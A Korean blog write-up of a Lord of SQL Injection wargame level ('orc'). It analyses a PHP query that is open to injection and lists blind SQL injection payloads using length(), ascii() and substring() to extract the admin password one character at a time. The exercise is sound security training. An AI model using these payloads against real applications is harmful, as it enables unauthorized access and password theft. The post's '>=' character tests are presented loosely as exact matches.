klaus

[Lord of SQL Injection] ORC 4단계(feat. blind based SQLi) 본문

모의해킹/Wargame

[Lord of SQL Injection] ORC 4단계(feat. blind based SQLi)

klus! 2022. 11. 26. 12:32

이번 문제를 풀면서 파이썬에 중요성을 알게 되었습니다....

 

0.ORC

나무 위키에서 검색한 오크 모습입니다.

오크 하면 리니지 밖에 생각이 안 나는데...... 무섭게 생겼네요

나무위키 오크

1. ORC 문제 및 코드 분석

분석

먼저, query를 보면 아이디 부분에 admin으로 고정되어 있고, pw 파라미터 값을 찾아 입력해서 문제를 풀어야 할 것 같습니다.

preg_match()함수를 통해 /prob|_|\.|\(\)와 대소문자 필터링되고, WHERE를

$query "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"
echo
"<hr>query : <strong>{$query}</strong><hr><br>"
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
f(
$result['id']) echo "<h2>Hello admin</h2>"

코드를 보면 결과 값이 참일 경우 Hello admin으로 출력되는 것을 알 수 있습니다.

하지만, 클리어 조건에 if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");으로 패스워드를 직접 입력해야 문제풀이가 가능합니다. 

기존 문제 1~3번처럼 기본적인 쿼리문을 사용하는 것이 아닌, 직접 비밀번호를 입력해야 하고,

참과 거짓을 확인할 수 있도록 참값일 때에는 (hello admin)으로 문구가 나오고 거짓을 경우 반응이 없는 것을 보아

blind based SQLi을 사용할 수 있을 듯합니다.

blind의 경우 DB, 테이블, 칼럼, DATA 등 하나하나 찾아야 하는 번거로움이 있지만, 해당 문제에서는  prob_orc 테이블명까지 알려주는 듯합니다. 

 

풀이

기본 틀 : ?pw='||1=1%23 == 참

?pw='||1=2%23 == 거짓 을 이용하여 문제를 풀어보도록 하겠습니다.

사용되는 함수는

length() : 문자열의 길이 확인

ascii() : 아스키코드

substring() : 문자열을 잘라 문자로 반환

 

먼저, pw의 길이를 확인해보겠습니다.

?pw='|| id='admin' and length(pw)=1~7%23 == 거짓

?pw='|| id='admin' and length(pw)=8%23 == 참 값으로 출력되는 것을 확인하였습니다.

패스워드의 길이 8글자 확인.

pw 찾기

기본 SQL틀 : ?pw='||1=1%23

?pw='|| id='admin' and ascii(substring(pw, 1, 1))>='0'%23  == 참인 것을 알 수 있습니다. 그럼 각각 PW문자 별 입력해보겠습니다.

첫 번째 문자 ?pw='|| id='admin' and ascii(substring(pw, 1, 1))>='48'%23 ==참

두 번째 문자 ?pw='|| id='admin' and ascii(substring(pw, 2, 1))>='57'%23 == 참

세 번째 문자 ?pw='|| id='admin' and ascii(substring(pw, 3, 1))>='53'%23 == 참

네 번째 문자 ?pw='|| id='admin' and ascii(substring(pw, 4, 1))>='97'%23 == 참

다섯 번째 문자  ?pw='|| id='admin' and ascii(substring(pw, 5, 1))>='57'%23 == 참

여섯 번째 문자  ?pw='|| id='admin' and ascii(substring(pw, 6, 1))>='56'%23 == 참

일곱 번째 문자  ?pw='|| id='admin' and ascii(substring(pw, 7, 1))>='53'%23 == 참

여덜 번째 문자  ?pw='|| id='admin' and ascii(substring(pw, 8, 1))>='50'%23 == 참

아스키코드 값에 대입해보면 095a9852을 얻을 수 있습니다.

?pw=095a9852

아스키 코드

?pw=095a9852

 

Comments